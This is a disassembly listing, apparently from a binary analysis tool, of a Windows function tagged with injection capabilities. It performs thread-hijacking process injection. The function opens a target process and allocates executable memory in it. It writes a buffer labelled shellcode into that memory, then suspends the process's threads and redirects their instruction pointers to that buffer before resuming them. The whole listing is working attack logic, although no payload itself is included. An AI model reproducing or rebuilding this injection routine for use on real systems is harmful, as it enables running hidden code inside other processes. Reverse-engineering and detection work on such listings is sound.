Function at 0x1400058f0
Capabilities:
Allocate or change rwx memory
Enumerate threads
Hijack thread execution
Resume thread
Suspend thread

Disassembly:
mov qword [rsp + 0x10], rdx
mov dword [rsp + 8], ecx
push rdi
sub rsp, 0x570
mov rax, qword [0x140013008]
xor rax, rsp
mov qword [rsp + 0x560], rax
mov qword [rsp + 0x50], 0
mov qword [rsp + 0x68], 0
mov dword [rsp + 0x30], 0
mov qword [rsp + 0x48], 0
mov rcx, qword [rsp + 0x588]
call fcn.140002580
mov qword [rsp + 0x58], rax
cmp qword [rsp + 0x58], 0
jne 0x14000595a
mov eax, 0xffffffff
jmp 0x140005c75
mov rcx, qword [rsp + 0x588]
call fcn.1400026f0
mov dword [rsp + 0x40], eax
cmp dword [rsp + 0x40], 0
jne 0x14000597c
mov eax, 0xffffffff
jmp 0x140005c75
mov r8d, dword [rsp + 0x580]
xor edx, edx
mov ecx, 0x1fffff
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov qword [rsp + 0x50], rax
cmp qword [rsp + 0x50], 0
jne 0x1400059c4
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov r8d, eax
mov edx, dword [rsp + 0x580]
lea rcx, str.Failed_to_Open_handle_to_process_PID__d__Error_Code_is0x_x_n
call fcn.140001070
mov eax, 0xffffffff
jmp 0x140005c75
mov eax, dword [rsp + 0x40]
mov dword [rsp + 0x20], 0x40
mov r9d, 0x3000
mov r8d, eax
mov rdx, qword [rsp + 0x48]
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov qword [rsp + 0x48], rax
cmp qword [rsp + 0x48], 0
jne 0x140005a1c
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov r8d, eax
mov edx, dword [rsp + 0x580]
lea rcx, str.Failed_to_Allocate_Memory_in_process_PID__d__Error_Code_is0x_x_n
call fcn.140001070
mov eax, 0xffffffff
jmp 0x140005c75
mov eax, dword [rsp + 0x40]
mov qword [rsp + 0x20], 0
mov r9d, eax
mov r8, qword [rsp + 0x58]
mov rdx, qword [rsp + 0x48]
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov dword [rsp + 0x30], eax
cmp dword [rsp + 0x30], 0
jne 0x140005a72
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov r8d, eax
mov edx, dword [rsp + 0x580]
lea rcx, str.Failed_to_Write_to_Memory_in_process_PID__d__Error_Code_is0x_x_n
call fcn.140001070
mov eax, 0xffffffff
jmp 0x140005c75
xor edx, edx
mov ecx, 4
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov qword [rsp + 0x60], rax
mov dword [rsp + 0x70], 0x1c
lea rax, [rsp + 0x74]
mov rdi, rax
xor eax, eax
mov ecx, 0x18
rep stosb byte [rdi], al
lea rax, [rsp + 0x90]
mov rdi, rax
xor eax, eax
mov ecx, 0x4d0
rep stosb byte [rdi], al
mov dword [rsp + 0xc0], 0x10001f
lea rdx, [rsp + 0x70]
mov rcx, qword [rsp + 0x60]
call qword [sym.imp.KERNEL32.dll_Thread32First]
test eax, eax
je 0x140005c70
mov eax, dword [rsp + 0x580]
cmp dword [rsp + 0x7c], eax
jne 0x140005c58
mov r8d, dword [rsp + 0x78]
mov edx, 1
mov ecx, 0x1fffff
call qword [sym.imp.KERNEL32.dll_OpenThread]
mov qword [rsp + 0x38], rax
cmp qword [rsp + 0x38], 0
jne 0x140005b28
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov r8d, eax
mov edx, dword [rsp + 0x580]
lea rcx, str.Failed_to_Open_handle_to_Thread_TID__d__Error_Code_is0x_x_n
call fcn.140001070
jmp 0x140005c58
mov rcx, qword [rsp + 0x38]
call qword [sym.imp.KERNEL32.dll_SuspendThread]
mov dword [rsp + 0x30], eax
cmp dword [rsp + 0x30], 0xffffffff
jne 0x140005b6a
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov r8d, eax
mov edx, dword [rsp + 0x580]
lea rcx, str.Failed_to_Suspend_Thread_TID__d__Error_Code_is0x_x_n
call fcn.140001070
mov rcx, qword [rsp + 0x38]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x140005c58
lea rdx, [rsp + 0x90]
mov rcx, qword [rsp + 0x38]
call qword [sym.imp.KERNEL32.dll_GetThreadContext]
test eax, eax
je 0x140005c31
mov rdx, qword [rsp + 0x48]
lea rcx, str.ShellCode_addr___p
call fcn.140001070
mov rax, qword [rsp + 0x48]
mov qword [rsp + 0x188], rax
lea rdx, [rsp + 0x90]
mov rcx, qword [rsp + 0x38]
call qword [sym.imp.KERNEL32.dll_SetThreadContext]
test eax, eax
jne 0x140005be3
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov r8d, eax
mov edx, dword [rsp + 0x580]
lea rcx, str.Failed_to_Set_Thread_Context_to_Thread_TID__d__Error_Code_is0x_x_n
call fcn.140001070
mov rcx, qword [rsp + 0x38]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x140005c58
mov rcx, qword [rsp + 0x38]
call qword [sym.imp.KERNEL32.dll_ResumeThread]
mov dword [rsp + 0x30], eax
cmp dword [rsp + 0x30], 0xffffffff
jne 0x140005c22
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov r8d, eax
mov edx, dword [rsp + 0x580]
lea rcx, str.Failed_to_Resume_Thread_TID__d__Error_Code_is0x_x_n
call fcn.140001070
mov rcx, qword [rsp + 0x38]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x140005c58
mov rcx, qword [rsp + 0x38]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
jmp 0x140005c75
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov r8d, eax
mov edx, dword [rsp + 0x580]
lea rcx, str.Failed_to_Get_Thread_Context_to_Thread_TID__d__Error_Code_is0x_x_n
call fcn.140001070
mov rcx, qword [rsp + 0x38]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rdx, [rsp + 0x70]
mov rcx, qword [rsp + 0x60]
call qword [sym.imp.KERNEL32.dll_Thread32Next]
test eax, eax
jne 0x140005ad4
mov eax, 0xffffffff
mov rcx, qword [rsp + 0x560]
xor rcx, rsp
call fcn.14000b3a0
add rsp, 0x570
pop rdi
ret